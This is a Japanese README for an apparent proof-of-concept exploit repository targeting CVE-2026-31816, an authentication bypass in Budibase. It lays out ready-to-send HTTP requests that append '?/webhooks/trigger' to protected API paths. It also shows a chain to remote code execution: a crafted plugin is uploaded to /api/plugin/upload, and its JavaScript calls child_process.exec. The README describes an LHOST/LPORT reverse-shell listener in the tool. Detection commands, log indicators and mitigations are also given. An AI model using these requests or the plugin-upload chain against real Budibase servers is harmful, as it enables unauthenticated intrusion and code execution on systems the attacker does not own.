
重大なBudibase認証バイパス用のPoCエクスプロイト:アンカーされていないWebhook正規表現により、攻撃者は`?/webhooks/trigger`を追加して保護されたAPIに到達し、プラグインアップロードを連鎖させてRCEを実行できます。
CVE-2026-31816 は、Budibaseに影響する重大な認証・認可バイパスの脆弱性です。
この脆弱性は、APIエンドポイントを保護するサーバーサイドの認可ミドルウェアに存在します。Budibaseは、正当なWebhookエンドポイントを識別するためにアンカーされていない正規表現を使用し、その正規表現をKoaのctx.request.urlに対して評価します。
ctx.request.urlにはクエリ文字列が含まれるため、攻撃者は無関係なAPIリクエストのクエリコンポーネントに、Webhookのように見えるパスを注入できます。
たとえば:
/api/integrations?/webhooks/trigger
このリクエストは、実際にはWebhookエンドポイントをターゲットにしていません。しかし、脆弱なチェックは/webhooks/triggerを「このリクエストが正当なWebhookリクエストである」という証拠として解釈し、通常の認証・認可チェックを行わずに実行を継続させる可能性があります。
NVDはこの問題を、完全に認証されていないリモート攻撃者が、URLにWebhookパスパターンを追加するだけでサーバーサイドAPIエンドポイントにアクセスできるようにするものと説明しています。
NVDは、3.31.4までのBudibaseバージョンが影響を受けると記録し、CVSS 3.1スコア9.1を割り当てています。
脆弱なロジックは、通常の認可の前に実行されるWebhook検出を中心に展開されます。
セキュリティアドバイザリは、概念的には次のコードと同等の内容を文書化しています:
const WEBHOOK_ENDPOINTS = new RegExp(
[
"webhooks/trigger",
"webhooks/schema",
"webhooks/discord",
"webhooks/ms-teams"
].join("|")
)
export function isWebhookEndpoint(ctx) {
return WEBHOOK_ENDPOINTS.test(ctx.request.url)
}
問題は、次の2つの挙動の組み合わせです:
ctx.request.urlにクエリ文字列が含まれること。つまり、この正規表現は実際のリクエストパスに一致する必要がないということです。
次のようなリクエスト:
/api/some/protected/endpoint?/webhooks/trigger
は、テスト対象のURL内に次の文字列を含んでいます:
/webhooks/trigger
その後、認可ミドルウェアはそのリクエストをWebhookリクエストとして扱い、通常の認可フローを実行することなくエンドポイントに到達します。
Budibaseのセキュリティアドバイザリは、これを根本的な欠陥として明示的に特定し、このバイパスが認証、認可、ロールチェック、およびCSRF保護をスキップすることに言及しています。
保護されたAPIエンドポイントへの通常のリクエストは、認証レイヤーを通過することが期待されます。
たとえば:
GET /api/integrations HTTP/1.1
Host: target.example
Connection: close
一方、脆弱なインスタンスには、Webhookクエリ文字列パターンを使用して到達できます:
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: target.example
Connection: close
重要な部分は次のとおりです:
?/webhooks/trigger
エンドポイント自体は変更されていません:
/api/integrations
変更されたのはクエリ文字列のみです。
公開されているBudibaseアドバイザリは、/api/integrationsおよび他のいくつかのサーバーサイドエンドポイントに対して、この正確な手法を示しています。
管理されたラボ環境で認証バイパスを安全に検証する方法は、通常のリクエストをWebhookクエリのバリアントと比較することです。
GET /api/integrations HTTP/1.1
Host: 127.0.0.1:10000
Connection: close
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Connection: close
脆弱なサーバーは、通常であればエンドポイントを保護する認証チェックなしで2番目のリクエストを処理できます。
公開されているPoCも同様に、以下を簡単な脆弱性チェックとして使用しています:
/api/integrations?/webhooks/trigger
以下は、Webhookパターンを追加することで、認証付きAPIリクエストが認証なしリクエストに変換される構造を示しています。
POST /api/ta_users/search?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Content-Type: application/json
x-budibase-app-id: <TARGET_WORKSPACE_ID>
Connection: close
Content-Length: 12
{"query":{}}
公式のBudibaseアドバイザリは、このエンドポイントを影響を受けるAPIサーフェスの1つとして文書化しています。
同じ欠陥を通じて到達可能であると文書化されている他のサーバーサイドエンドポイントには、次のものがあります:
/api/tables
/api/datasources
/api/automations
/api/roles
/api/integrations
/api/views
/api/plugins
重要な観察点は、この脆弱性が特定のアプリケーションリソースに結びついていないことです。影響を受ける認可ミドルウェアは、広範なサーバーサイドAPI群の前面に位置しています。
認証バイパスは、攻撃者が制御する機能を受け入れることができる機密性の高いAPIと組み合わせることで、はるかに深刻になります。
このリポジトリのPoCは、脆弱性を次のように連鎖させます:
┌─────────────────────────┐
│ Remote attacker │
└────────────┬────────────┘
│
│ ?/webhooks/trigger
▼
┌─────────────────────────┐
│ Budibase authorization │
│ middleware │
└────────────┬────────────┘
│
│ authentication bypass
▼
┌─────────────────────────┐
│ Protected server-side │
│ API endpoints │
└────────────┬────────────┘
│
│ plugin upload
▼
┌─────────────────────────┐
│ /api/plugin/upload │
└────────────┬────────────┘
│
│ crafted plugin
▼
┌─────────────────────────┐
│ Plugin JavaScript code │
│ execution │
└────────────┬────────────┘
│
▼
Code execution
/api/integrationsに対するバイパスを検証し、その後Budibaseプラグインアーカイブを構築して/api/plugin/uploadに送信します。認可がバイパスされると、プラグインアップロードリクエストは通常のマルチパートアップロード形式に従い、脆弱なWebhookクエリがURLに追加されます。
サニタイズされた表現は次のとおりです:
POST /api/plugin/upload?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=------------------------boundary
Connection: close
--------------------------boundary
Content-Disposition: form-data; name="file"; filename="datasource-helper.tar.gz"
Content-Type: application/gzip
<PLUGIN_ARCHIVE_BYTES>
--------------------------boundary--
リポジトリのPoCは、.tar.gzプラグインアーカイブを含むこのマルチパートリクエストを作成し、/api/plugin/upload?/webhooks/triggerに送信します。
安全性のため、上記のリクエストでは、リバースシェルペイロードをドキュメントに直接埋め込むのではなく、実行可能なアーカイブをプレースホルダーとして意図的に残しています。
PoCは、以下を含むプラグインアーカイブを生成します:
package.json
schema.json
datasource-helper.js
アーカイブはgzip圧縮されたtarballとして作成されます。
JavaScriptコンポーネントは、Node.jsがchild_processをロードして指定されたコマンドを実行するように構成されています:
var cp = require("child_process");
var cmd = "<COMMAND>";
cp.exec(cmd);
リポジトリの実装は複数のペイロードタイプをサポートし、対応するコマンドを動的に生成します。
これはチェーンの第2段階です:
Authentication bypass
↓
Unauthenticated API access
↓
Plugin upload
↓
Attacker-controlled JavaScript
↓
Node.js command execution
この脆弱性は、根本的にはURL解析と信頼境界の誤りです。
アプリケーションは一部のWebhookルートをパブリックにアクセス可能にする必要があります。脆弱な実装は、実際のリクエストパスが許可されたWebhookルートに属するかどうかを判断する代わりに、URL全体から一致する部分文字列を検索します。
概念的には:
Expected:
request.path
│
└── must actually equal a webhook endpoint
Actual vulnerable behavior:
request.url
│
├── path
└── query string
│
└── attacker-controlled text
│
└── /webhooks/trigger
クエリ文字列は攻撃者が制御できるため、攻撃者はWebhook検出器が期待する文字列をURLのどこにでも配置できます。
その結果、セキュリティ上重要なブールチェックが誤った結果を返します:
isWebhookEndpoint(ctx)
│
├── false → normal authorization
│
└── true → return next()
│
├── authentication skipped
├── authorization skipped
├── role checks skipped
└── CSRF checks skipped
Budibaseアドバイザリは、早期のreturn next()動作と、その結果として生じるセキュリティチェックのバイパスを明示的に説明しています。
この脆弱性は、単純なログインバイパスよりもはるかに広い影響を及ぼします。
ベンダーのアドバイザリによると、悪用により、以下に影響するサーバーサイドAPIへの認証なしアクセスが可能になる可能性があります:
また、アドバイザリは、このバイパスがCSRF保護を排除し、ユーザー操作も既存の認証情報も必要としないことを確認しています。
バイパスを通じて、攻撃者が制御する機能を処理できる脆弱なAPIに到達できる場合、この脆弱性は任意のコード実行に連鎖させる可能性があります。
このリポジトリに含まれるPoCは、プラグインアーカイブを構築し、それをアップロードし、実行を待つことで、その攻撃経路を実証しています。
基本的な検出戦略は、通常のリクエストと、Webhookスタイルのクエリサフィックスを付けた同じリクエストの認証動作を比較することです。
例:
curl -i http://127.0.0.1:10000/api/integrations
対して:
curl -i 'http://127.0.0.1:10000/api/integrations?/webhooks/trigger'
脆弱なインストール環境では、2番目のリクエストを通じて保護されたエンドポイントが公開される可能性があります。
この手法は、CVE-2026-31816に関する公開されている検出資料でも使用されています。
NVDエントリは、以下を影響を受けるバージョンとして特定しています:
Budibase <= 3.31.4
が影響を受けます。
注目に値する重要なドキュメントの不一致があります: 現在のGitHubセキュリティアドバイザリには**「修正済みバージョン: なし」と表示されていますが、独立した脆弱性リファレンスは3.31.5以降**を修正の境界として特定しています。
そのため、このリポジトリは、対応するBudibaseのリリース/変更が独立に検証されない限り、3.31.5を疑いの余地のないベンダー確認済みパッチとして提示すべきではありません。
主な修復方法は、Budibaseをアップストリームの修正を含むバージョンにアップグレードすることです。
パッチ適用が可能になるまでの防御策には、次のようなものがあります:
1. Restrict network access to the Budibase server.
2. Place the administrative interface behind trusted-network controls.
3. Monitor for webhook-style strings appearing in API query parameters.
4. Review logs for requests containing:
/webhooks/trigger
/webhooks/schema
/webhooks/discord
/webhooks/ms-teams
5. Restrict unnecessary plugin-management functionality.
この脆弱性は、攻撃に認証済みセッションが不要であるため、インターネットに露出したセルフホスト型デプロイメントで特に懸念されます。
有用なログレベルの指標は、クエリ文字列にWebhookルートパターンを含むAPIリクエストです:
/api/*?/webhooks/trigger
/api/*?/webhooks/schema
/api/*?/webhooks/discord
/api/*?/webhooks/ms-teams
たとえば:
GET /api/integrations?/webhooks/trigger
POST /api/plugin/upload?/webhooks/trigger
POST /api/ta_users/search?/webhooks/trigger
これらのパターンは、正当なトラフィックやアプリケーション固有の動作も考慮する必要があるため、自動的に悪用の証拠として扱うのではなく、調査対象とすべきです。
このリポジトリのエクスプロイト実装は、いくつかの論理コンポーネントに分かれています:
ExploitConfig
│
├── target
├── LHOST
├── LPORT
└── payload type
│
▼
BudibaseClient
│
├── vulnerability check
└── plugin upload
│
▼
PluginBuilder
│
└── .tar.gz
│
▼
PayloadBuilder
│
└── JavaScript
│
▼
command execution
この実装には、悪用成功後にシェル接続を受信するためのオプションのリスナーも含まれています。
管理されたラボ環境の場合:
1. Deploy a vulnerable Budibase release.
2. Send a baseline request to a protected endpoint.
3. Repeat the request with ?/webhooks/trigger.
4. Compare the authentication behavior.
5. Confirm that the protected API becomes reachable.
6. In an isolated environment, test the plugin-upload stage.
7. Verify command execution using a harmless proof such as creating a temporary marker file.
この脆弱性は、セキュリティ上重要なURLマッチングを、攻撃者が制御する完全なURL文字列ではなく、適切に解析・正規化されたリクエストパスに対して実行すべき理由の良い例です。
このバグは、Webhook機能自体は正規のものであるため、微妙です。問題はミドルウェアが行う信頼の判断にあります:
"Does this request target a webhook?"
という問いに、実質的に次のような答えを返します:
"Does the entire URL contain a webhook-looking substring?"
これらは同等のセキュリティ特性ではありません。
したがって、攻撃者はリクエストを実際にWebhookリクエストにする必要はありません。認可ミドルウェアに、それがWebhookリクエストであると信じ込ませるだけでよいのです。
このリポジトリは、セキュリティ研究、脆弱性検証、および許可されたテストを目的としています。 所有していないシステム、または明示的なテスト許可がないシステムに対して、このエクスプロイトを使用しないでください。
| フィールド | 値 |
|---|
| CVE | CVE-2026-31816 |
| ベンダー | Budibase |
| 製品 | Budibase |
| 影響を受けるバージョン | <= 3.31.4 |
| 深刻度 | 緊急 |
| CVSS v3.1 | 9.1 |
| CVSSベクター | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-74 |
| 攻撃元 | ネットワーク |
| 必要な権限 | なし |
| ユーザー操作 | 不要 |
| 認証要件 | 不要 |